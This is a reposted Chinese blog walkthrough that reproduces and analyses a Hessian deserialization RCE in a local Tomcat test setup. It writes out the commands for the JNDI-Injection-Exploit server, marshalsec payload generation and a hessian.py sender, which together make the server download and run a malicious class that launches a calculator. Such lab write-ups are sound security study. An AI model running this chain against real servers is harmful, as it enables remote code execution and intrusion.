Hessian反序列化RCE漏洞复现及分析

栏目: IT技术 · 发布时间: 5年前

内容简介:Hessian是一个轻量级的RPC框架。它基于HTTP协议传输,使用Hessian二进制序列化,对于数据包比较大的情况比较友好。Hessian反序列化类似Java反序列化,可导致RCE,POC好像2017年就公开了,但是最新版本hessian-4.0.60.jar,经过测试也存在反序列化RCE问题。使用marshalsec项目工具(

Hessian是一个轻量级的RPC框架。它基于HTTP协议传输,使用Hessian二进制序列化,对于数据包比较大的情况比较友好。

Hessian反序列化类似 Java 反序列化,可导致RCE,POC好像2017年就公开了,但是最新版本hessian-4.0.60.jar,经过测试也存在反序列化RCE问题。

使用marshalsec项目工具( https://github.com/mbechler/marshalsec )可生成利用payload,包括SpringCompAdv,Resin, ROME, XBean

Hessian反序列化RCE漏洞复现及分析

下面使用Resin payload复现Hessian反序列化RCE漏洞

一、搭建测试环境

测试环境使用最新jar包

Hessian反序列化RCE漏洞复现及分析

将HessianTest.war放到tomcat/webapp/目录下并启动tomcat

Hessian反序列化RCE漏洞复现及分析

访问服务器地址 http://127.0.0.1:8080/HessianTest/hessian ,返回如下页面则说明环境正常

Hessian反序列化RCE漏洞复现及分析

二、启动JNDI利用工具

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar是某大佬写得JNDI注入利用工具,项目地址 https://github.com/welk1n/JNDI-Injection-Exploit

编译后JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

执行命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A 127.0.0.1

-C为需要执行的命令 -A为监听地址

Hessian反序列化RCE漏洞复现及分析

三、生成payload

marshalsec工具地址 https://github.com/mbechler/marshalsec

编译后的marshalsec-0.0.3-SNAPSHOT-all.jar

执行命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin <a href="http://127.0.0.1:8180/">http://127.0.0.1:8180/</a> ExecTemplateJDK7>hession

Hessian反序列化RCE漏洞复现及分析

将在当前目录生成hession的payload

注意: http://127.0.0.1:8180/ExecTemplateJDK7 为 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具启动后生成的恶意代码地址

四、发送payload到hessian服务器

使用hessian.py 发送序列化的payload到服务器

执行命令:

python hessian.py -u <a href="http://127.0.0.1:8080/HessianTest/hessian">http://127.0.0.1:8080/HessianTest/hessian</a> -p hessian

Hessian反序列化RCE漏洞复现及分析

可以看到服务器已经去JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar上下载恶意类并执行弹出计算器

Hessian反序列化RCE漏洞复现及分析

五、分析

使用hession的web项目需要配置web.xml,映射com.caucho.hessian.server.HessianServlet之相应的路径

Hessian反序列化RCE漏洞复现及分析

Java客户端可以很方便的调用服务器上的方法,如下

Hessian反序列化RCE漏洞复现及分析

查看com.caucho.hessian.server.HessianServlet的代码

service方法处理客户端发来的http请求,调用

Hessian反序列化RCE漏洞复现及分析

Hessian反序列化RCE漏洞复现及分析

调用HessianSkeleton的invoke方法,将从客户端发来的数据流中读取对象

Hessian反序列化RCE漏洞复现及分析

看代码里面好像没有什么黑白名单过滤机制

通过抓取请求包,分析,构造请求包,将marshalsec工具生成的Resion payload发送给服务器

下面是构造请求包的hessian.py代码

Hessian反序列化RCE漏洞复现及分析

利用图

Hessian反序列化RCE漏洞复现及分析 这是发送给Hessain服务器的请求包

Hessian反序列化RCE漏洞复现及分析


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

开发高质量PHP框架与应用的实际案例解析

开发高质量PHP框架与应用的实际案例解析

Sebastian Bergmann / 刘文瀚、刘海燕 / 清华大学出版社 / 2012-6 / 49.00元

PHP已经成为最受欢迎的编程语言之一,这使得用PHP创建高质量、易维护的应用程序和框架比以往受到更多的青睐。通过使用来自于知名公司的真实案例研究,《开发高质量PHP框架与应用的实际案例解析》为Web软件体系结构的不同层次介绍了规划、执行以及测试自动化方面的内容,并解释了这些公司如何测量和测试软件质量。《开发高质量PHP框架与应用的实际案例解析》作者Sebastian Bergmann、Stefan......一起来看看 《开发高质量PHP框架与应用的实际案例解析》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

SHA 加密
SHA 加密

SHA 加密工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器